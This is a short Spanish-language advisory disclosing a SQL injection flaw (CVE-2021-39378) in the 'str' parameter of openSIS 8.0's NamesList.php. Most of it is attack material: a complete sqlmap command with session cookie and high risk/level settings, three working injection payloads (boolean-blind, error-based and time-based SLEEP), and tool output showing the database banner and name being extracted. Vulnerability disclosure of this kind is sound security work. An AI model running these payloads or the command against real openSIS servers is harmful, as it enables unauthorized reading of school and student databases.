VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39378

Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se utiliza MySQL (MariaDB) como base de datos de la aplicación. Un atacante malicioso puede ejecutar comandos SQL en la base de datos MySQL (MariaDB) a través del parámetro vulnerable str=.

Página PHP vulnerable:

NamesList.php

Payload vulnerable

sqlmap -u "http://localhost:8081/NamesList.php?str=J&block_id=1" --cookie="PHPSESSID=s8n71sv8ji77mdjkmh6cj1ik5d; miniSidebar=0" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" --referer="http://localhost:8081/Modules.php?modname=miscellaneous/Portal.php&failed_login=0" --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --level=3 --risk=3 --threads=8 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N"

Inyección SQL:

http://localhost:8081/NamesList.php

Parameter: str (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: str=J%' AND 4830=4830 AND 'mmPI%'='mmPI&block_id=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: str=J%' AND (SELECT 5261 FROM(SELECT COUNT(*),CONCAT(0x716b6b7a71,(SELECT (ELT(5261=5261,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'YfUK%'='YfUK&block_id=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: str=J%' AND (SELECT 9071 FROM (SELECT(SLEEP(5)))hYUR) AND 'vbOt%'='vbOt&block_id=1

[18:41:23] [INFO] testing MySQL
[18:41:23] [WARNING] reflective value(s) found and filtering out
[18:41:23] [INFO] confirming MySQL
[18:41:23] [INFO] the back-end DBMS is MySQL
[18:41:23] [INFO] fetching banner
[18:41:23] [INFO] resumed: '10.5.11-MariaDB-1'
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
[18:41:23] [INFO] fetching current database
[18:41:23] [INFO] resumed: 'opensis5'
current database: 'opensis5'

Descubierto por Nathan Johnson, agosto de 2021

CVE-2021-39378

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VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39378